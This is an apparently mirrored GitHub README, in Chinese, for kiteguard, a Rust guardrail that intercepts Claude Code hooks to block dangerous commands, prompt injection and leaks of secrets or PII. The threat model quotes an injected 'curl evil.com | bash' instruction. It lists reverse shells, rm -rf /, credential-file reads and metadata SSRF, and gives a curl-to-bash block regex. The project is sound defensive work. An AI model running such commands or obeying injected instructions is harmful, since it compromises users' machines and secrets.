DhivakaranRavi/kiteguard

GitHub: DhivakaranRavi/kiteguard

KiteGuard 是 Claude Code 的运行时安全护栏,通过多钩子拦截机制阻止危险命令执行、Prompt 注入和敏感信息泄露。

Stars: 0 | Forks: 0

kiteguard logo

Claude Code 和 AI 编码代理的运行时安全护栏

kiteguard 监视你的 AI 代理的一举一动 — 并阻止危险的操作。

[![CI](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/e6d84bdfad125811.svg)](https://github.com/DhivakaranRavi/kiteguard/actions/workflows/ci.yml) [![License: MIT OR Apache-2.0](https://img.shields.io/badge/license-MIT%20OR%20Apache--2.0-blue.svg)](LICENSE) ![Built with Rust](https://img.shields.io/badge/built%20with-Rust-orange.svg) ## 安装 **选项 1 — 安装脚本(最快):** ``` curl -sSL https://raw.githubusercontent.com/DhivakaranRavi/kiteguard/main/scripts/install.sh | bash ``` **选项 2 — 从源代码构建(推荐注重安全的用户使用):** ``` git clone https://github.com/DhivakaranRavi/kiteguard.git cd kiteguard cargo build --release sudo install -m755 target/release/kiteguard /usr/local/bin/kiteguard kiteguard init ``` ## 为什么选择 kiteguard Claude Code 是一个代理框架 — 它会自主执行 shell 命令、读取你的整个代码库、获取外部 URL,并在未经确认的情况下修改文件。这种能力也意味着: - 被篡改的 README 可以指示 Claude 运行 `curl evil.com | bash` - Claude 获取的网页可能包含嵌入的指令 - Claude 读取的文件中的 PII(个人身份信息)会直接发送到 Claude API - 没有安全团队能够了解开发人员正在用 Claude 做什么 kiteguard 通过在每次 Claude Code 会话的 **四个关键点** 进行拦截来解决这个问题 — 在损害发生之前。 ## 工作原理

KiteGuard architecture diagram

## 拦截内容 | 威胁 | 钩子 | |---|---| | `curl \| bash`, `wget \| sh` 管道攻击 | PreToolUse | | `rm -rf /`,反向 shell | PreToolUse | | 读取 `~/.ssh`, `.env`, 凭据 | PreToolUse | | 写入 `/etc`, `.claude/settings.json` | PreToolUse | | 针对云元数据端点的 SSRF | PreToolUse | | 开发者输入中的 Prompt 注入 | UserPromptSubmit | | Prompt 中的 PII(SSN、信用卡、电子邮件) | UserPromptSubmit | | Claude 读取的文件中嵌入的注入 | PostToolUse | | 响应中回显的 Secrets/API 密钥 | Stop | ## 配置 开箱即用的安全默认配置。要为你的组织进行自定义,创建 `~/.kiteguard/rules.json`: ``` { "bash": { "block_patterns": ["curl[^|]*\\|[^|]*(bash|sh)"] }, "file_paths": { "block_read": ["**/.env", "**/.ssh/**"] }, "pii": { "block_in_prompt": true, "types": ["ssn", "credit_card", "email"] }, "webhook": { "enabled": true, "url": "https://your-siem.company.com/kiteguard" } } ``` ## 命令行界面 | 命令 | 描述 | |---|---| | `kiteguard init` | 向 Claude Code 注册 kiteguard 钩子 | | `kiteguard serve [PORT]` | 启动本地安全控制台(默认:7070)| | `kiteguard audit` | 查看本地审计日志(所有事件)| | `kiteguard audit verify` | 验证审计日志哈希链完整性 — 检测篡改 | | `kiteguard policy` | 查看活动的安全策略(`policy list` 的别名)| | `kiteguard policy list` | 打印所有活动的策略设置 | | `kiteguard policy path` | 打印活动 `rules.json` 文件的路径 | | `kiteguard policy sign` | 手动编辑后重新签名 `rules.json` | | `kiteguard --version` | 打印版本 | | `kiteguard --help` | 显示帮助 | ## 控制台 `kiteguard serve` 启动一个本地安全控制台 — 无云服务、无需账户、数据不离开你的机器。 ``` kiteguard serve # http://localhost:7070 kiteguard serve 9090 # custom port ``` ### 你能看到什么 **统计栏** — 所有拦截事件的实时计数器: - 总事件数、总拦截数、允许率 %、活动规则数 **威胁图表** — 按规则类型(secrets 泄露、prompt 注入、PII 暴露、路径遍历、命令执行)细分拦截事件的环形图 **时间线** — 最近 24 小时的小时柱状图,一目了然地显示事件量 **审计日志表** — 分页列表(100 个事件/页),包含: | 列 | 详情 | |---|---| | TIMESTAMP | 本地日期 + 时间 | | HOOK | 触发了哪个拦截点(UserPromptSubmit / PreToolUse / PostToolUse / Stop)| | VERDICT | ✓ ALLOW(绿色)或 ✕ BLOCK(红色)| | REPO | 事件来源的 Git 仓库 | | USER | 运行 Claude Code 的 OS 用户 | **过滤栏** — 按裁决(Block / Allow)或钩子类型缩小表格范围。过滤器会自动重置分页。 **事件详情模态框** — 点击任意行查看完整事件: - 触发拦截的规则 - **Reason** — 确切的检测细节(例如 `"AWS secret key AKIA... detected in Write tool argument"`) - 主机、输入哈希和用于防篡改验证的链哈希 - 点击外部或 `[✕ CLOSE]` 关闭 ## 审计日志 每个事件都以哈希链 JSONL 格式记录到 `~/.kiteguard/audit.log`: ``` {"ts":"2026-03-28T10:23:01Z","hook":"PreToolUse","verdict":"Block","rule":"dangerous_command","reason":"Blocked shell command: rm -rf /var/log/* in Bash tool","user":"alice","host":"macbook-pro","repo":"acme/infra","input_hash":"a3f9...","prev_hash":"b12c..."} {"ts":"2026-03-28T10:23:45Z","hook":"UserPromptSubmit","verdict":"Allow","rule":"","reason":"","user":"alice","host":"macbook-pro","repo":"acme/frontend","input_hash":"d7e2...","prev_hash":"a3f9..."} ``` 每个条目都包含被拦截事件的 `reason` — 确切的检测细节(例如 `"AWS secret key pattern AKIA... detected"`)。哈希链将每个条目链接到前一个,使得可以通过 `kiteguard audit verify` 检测日志篡改。 ## 架构 使用 Rust 构建为单个静态二进制文件。无运行时依赖。 - 钩子分发到 `src/hooks/` 处理程序 - 检测逻辑位于 `src/detectors/` - 策略引擎位于 `src/engine/` - 审计日志记录位于 `src/audit/` 有关完整的技术设计,请参阅 [docs/architecture.md](docs/architecture.md)。 ## 贡献 请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。标记为 `good first issue` 的问题是一个很好的起点。 ## 许可证 MIT OR Apache-2.0
标签:AI Agent 安全, AI 安全, Anthropic, CIS基准, Claude Code, DevSecOps, DLL注入, DNS 反向解析, Homebrew安装, LLM 防护栏, PII 泄露防护, Rust, Streamlit, 上游代理, 代码安全, 可视化界面, 命令注入检测, 大模型安全, 提示词注入防御, 数据脱敏, 文档安全, 文档结构分析, 沙箱, 流量审计, 漏洞枚举, 终端安全, 网络安全, 网络流量审计, 访问控制, 通知系统, 隐私保护, 隐私合规